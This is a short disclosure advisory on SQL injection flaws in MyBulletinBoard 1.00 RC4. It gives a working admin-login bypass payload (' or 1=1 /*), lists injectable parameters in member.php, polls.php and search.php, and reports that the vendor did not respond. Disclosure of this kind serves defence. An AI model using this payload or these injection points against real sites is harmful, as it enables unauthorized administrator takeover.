My Bulletin Board RC 4 Vulnerabilities

[phuket <phuket.bugtraq@xxxxxxxxx>]

SQL Injection Vulnerabilities in MyBB RC 4 (+Security Patch)

Vendor: MyBB Group
Version: MyBulletinBoard 1.00 RC4+ Security Patch
Risk: High if magic_quotes_gpc = Off
URL: http://www.mybboard.com

**********************************************************************************************

"MyBB is a powerful, efficient and free forum package developed in PHP and

MySQL. MyBB has been designed with the end users in mind, you and your

subscribers. Full control over your discussion system is presented right at

the tip of your fingers, from multiple styles and themes to the ultimate

customisation of your forums using the template system."


*********************************************************************************************

There is one high risk SQL Injection vulnerabilities in MyBB, but to
exploit this issue magic_quotes_gpc must be off.

SQL Injection in /admin/index.php

POC: Username: ' or 1=1 /*
        Password: blank

This issue gives you access to the Admin Control Panel and you are
logged in as the Main Administrator

**********************************************************************************************

More SQL Injections (magic_quotes_gpc=off):

member.php?action=login : username='[SQL INJECTION]
polls.php?action=newpoll&tid=1&polloptions='[SQL INJECTION]
search.php?action='[SQL Injection]
member.php?action='[SQL Injection]
.....
....
.......... (Many Many More...)


*********************************************************************************************


Solution:
The developers were contacted and never responded.
No patch is available.
Turn magic_quotes_gpc ON or do not use this Application




Phuket